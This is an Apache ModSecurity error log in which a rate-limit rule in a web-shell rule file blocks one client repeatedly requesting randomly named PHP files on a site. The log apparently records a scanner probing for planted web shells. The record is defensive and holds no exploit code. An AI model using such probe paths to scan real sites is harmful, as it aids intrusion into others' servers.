[Sat Apr 18 20:12:34.828270 2026] [:error] [pid 13023:tid 13027] [client 52.236.80.95:6031] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/whtrq.php"] [unique_id "aeN1Mv1e7hG8DAeABB8E1AAAAQI"]
[Sat Apr 18 20:12:35.407022 2026] [:error] [pid 9863:tid 9878] [client 52.236.80.95:6107] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/whtrq.php"] [unique_id "aeN1MzjjiypiFrTucbLMfwAAAAU"]
[Sat Apr 18 20:12:35.933050 2026] [:error] [pid 9970:tid 9982] [client 52.236.80.95:6026] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/whtrq.php"] [unique_id "aeN1MyYdRLRhVmaIMx2ypAAAAMg"]
[Sat Apr 18 20:12:36.494519 2026] [:error] [pid 9865:tid 9947] [client 52.236.80.95:6125] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rkiea.php"] [unique_id "aeN1NKzb5knECIY-C-iA4wAAAIo"]
[Sat Apr 18 20:12:37.069365 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:6096] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rkiea.php"] [unique_id "aeN1NRqX6WpmmAXOBi8ZPgAAAcs"]
[Sat Apr 18 20:12:37.652428 2026] [:error] [pid 13023:tid 13038] [client 52.236.80.95:6122] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rkiea.php"] [unique_id "aeN1Nf1e7hG8DAeABB8E2AAAAQ0"]
[Sat Apr 18 20:12:38.205777 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:6115] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rkiea.php"] [unique_id "aeN1NhBmX4Wq5a6rxfamIwAAAU0"]
[Sat Apr 18 20:12:39.153000 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:6123] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeN1N4CFeowknfXHM7kZhgAAAEA"]
[Sat Apr 18 20:12:39.860187 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6094] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeN1N4CFeowknfXHM7kZiAAAAE4"]
[Sat Apr 18 20:12:40.532313 2026] [:error] [pid 34288:tid 34297] [client 52.236.80.95:6140] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeN1OOTIiy__PtiLmpnSagAAAYU"]
[Sat Apr 18 20:12:41.142902 2026] [:error] [pid 9864:tid 9929] [client 52.236.80.95:6085] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeN1OYCFeowknfXHM7kZjgAAAFc"]
[Sat Apr 18 20:12:41.834337 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6087] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN1ORBmX4Wq5a6rxfamLQAAAVA"]
[Sat Apr 18 20:12:42.413506 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6102] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN1OoCFeowknfXHM7kZkQAAAFg"]
[Sat Apr 18 20:12:42.943586 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6021] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN1OhqX6WpmmAXOBi8ZQwAAAcI"]
[Sat Apr 18 20:12:43.483375 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:6129] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "aeN1O4CFeowknfXHM7kZlQAAAEU"]
[Sat Apr 18 20:12:44.151032 2026] [:error] [pid 34290:tid 34331] [client 52.236.80.95:6118] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "aeN1PBqX6WpmmAXOBi8ZSQAAAcw"]
[Sat Apr 18 20:12:44.669154 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6040] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "aeN1PBqX6WpmmAXOBi8ZTQAAAdg"]
[Sat Apr 18 20:12:45.177657 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6082] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "aeN1PRBmX4Wq5a6rxfamMgAAAVI"]
[Sat Apr 18 20:12:45.770744 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6100] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "aeN1PRBmX4Wq5a6rxfamNQAAAUQ"]
[Sat Apr 18 20:12:46.328107 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:6142] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/106.php"] [unique_id "aeN1PoCFeowknfXHM7kZnAAAAEI"]
[Sat Apr 18 20:12:46.860466 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6022] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/106.php"] [unique_id "aeN1PoCFeowknfXHM7kZnwAAAFQ"]
[Sat Apr 18 20:12:47.429640 2026] [:error] [pid 9864:tid 9906] [client 52.236.80.95:6109] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/106.php"] [unique_id "aeN1P4CFeowknfXHM7kZpQAAAEE"]
[Sat Apr 18 20:12:48.024280 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6098] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/106.php"] [unique_id "aeN1QICFeowknfXHM7kZrAAAAFQ"]
[Sat Apr 18 20:12:48.581049 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6127] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeN1QICFeowknfXHM7kZrwAAAE4"]
[Sat Apr 18 20:12:49.104523 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6113] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeN1QYCFeowknfXHM7kZsgAAAEs"]
[Sat Apr 18 20:12:49.646114 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:6088] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeN1QYCFeowknfXHM7kZtQAAAEw"]
[Sat Apr 18 20:12:50.174772 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:6064] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeN1QoCFeowknfXHM7kZuwAAAFE"]
[Sat Apr 18 20:12:50.730960 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:6072] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeN1QhBmX4Wq5a6rxfamOQAAAUM"]
[Sat Apr 18 20:12:51.846694 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:6089] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeN1QxBmX4Wq5a6rxfamPAAAAU4"]
[Sat Apr 18 20:12:52.383527 2026] [:error] [pid 9970:tid 9990] [client 52.236.80.95:6117] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeN1RCYdRLRhVmaIMx2yqAAAANA"]
[Sat Apr 18 20:12:52.911635 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:6086] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeN1RP1e7hG8DAeABB8E5QAAAQc"]
[Sat Apr 18 20:12:53.442767 2026] [:error] [pid 9970:tid 9976] [client 52.236.80.95:6033] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeN1RSYdRLRhVmaIMx2yqgAAAMI"]
[Sat Apr 18 20:12:54.445457 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6124] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeN1RhqX6WpmmAXOBi8ZWwAAAcI"]
[Sat Apr 18 20:12:54.971730 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:6093] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeN1RhBmX4Wq5a6rxfamQAAAAUk"]
[Sat Apr 18 20:12:55.514697 2026] [:error] [pid 9865:tid 9948] [client 52.236.80.95:6061] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aeN1R6zb5knECIY-C-iA6wAAAIs"]
[Sat Apr 18 20:12:56.087795 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:6020] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/41.php"] [unique_id "aeN1SBBmX4Wq5a6rxfamQQAAAUU"]
[Sat Apr 18 20:12:56.607843 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6116] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/41.php"] [unique_id "aeN1SBBmX4Wq5a6rxfamRAAAAUw"]
[Sat Apr 18 20:12:57.152593 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:6034] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/41.php"] [unique_id "aeN1SYCFeowknfXHM7kZwAAAAFI"]
[Sat Apr 18 20:12:57.759451 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6110] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/41.php"] [unique_id "aeN1SRBmX4Wq5a6rxfamSgAAAUQ"]
[Sat Apr 18 20:12:58.327096 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5976] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeN1SoCFeowknfXHM7kZwwAAAE4"]
[Sat Apr 18 20:12:58.858494 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:6043] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeN1ShqX6WpmmAXOBi8ZYAAAAcc"]
[Sat Apr 18 20:12:59.642306 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:5964] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeN1S_1e7hG8DAeABB8E9gAAAQc"]
[Sat Apr 18 20:13:00.277409 2026] [:error] [pid 9864:tid 9913] [client 52.236.80.95:6029] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeN1TICFeowknfXHM7kZxgAAAEc"]
[Sat Apr 18 20:13:00.846463 2026] [:error] [pid 13023:tid 13037] [client 52.236.80.95:6078] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeN1TP1e7hG8DAeABB8E_wAAAQw"]
[Sat Apr 18 20:13:01.401060 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:5960] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeN1Tf1e7hG8DAeABB8FAgAAAQo"]
[Sat Apr 18 20:13:02.169129 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:5969] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeN1ThBmX4Wq5a6rxfamTwAAAVc"]
[Sat Apr 18 20:13:02.776642 2026] [:error] [pid 13023:tid 13026] [client 52.236.80.95:6103] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeN1Tv1e7hG8DAeABB8FCQAAAQE"]
[Sat Apr 18 20:13:03.319497 2026] [:error] [pid 13023:tid 13032] [client 52.236.80.95:6073] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aeN1T_1e7hG8DAeABB8FDAAAAQc"]
[Sat Apr 18 20:13:04.022563 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:6057] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aeN1UBBmX4Wq5a6rxfamUQAAAVE"]
[Sat Apr 18 20:13:05.248381 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5990] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aeN1URBmX4Wq5a6rxfamVgAAAUo"]
[Sat Apr 18 20:13:09.511421 2026] [:error] [pid 9864:tid 9919] [client 52.236.80.95:6036] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aeN1VYCFeowknfXHM7kZywAAAE0"]
[Sat Apr 18 20:13:10.835514 2026] [:error] [pid 9863:tid 9877] [client 52.236.80.95:6039] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "aeN1VjjjiypiFrTucbLMiQAAAAQ"]
[Sat Apr 18 20:13:11.364008 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6095] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "aeN1VxBmX4Wq5a6rxfamYAAAAVQ"]
[Sat Apr 18 20:13:12.007012 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:6058] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "aeN1WBqX6WpmmAXOBi8ZcAAAAc8"]
[Sat Apr 18 20:13:12.544921 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5967] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "aeN1WBBmX4Wq5a6rxfamZQAAAVE"]
[Sat Apr 18 20:13:13.126408 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:6120] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zu.php"] [unique_id "aeN1WRBmX4Wq5a6rxfambwAAAVU"]
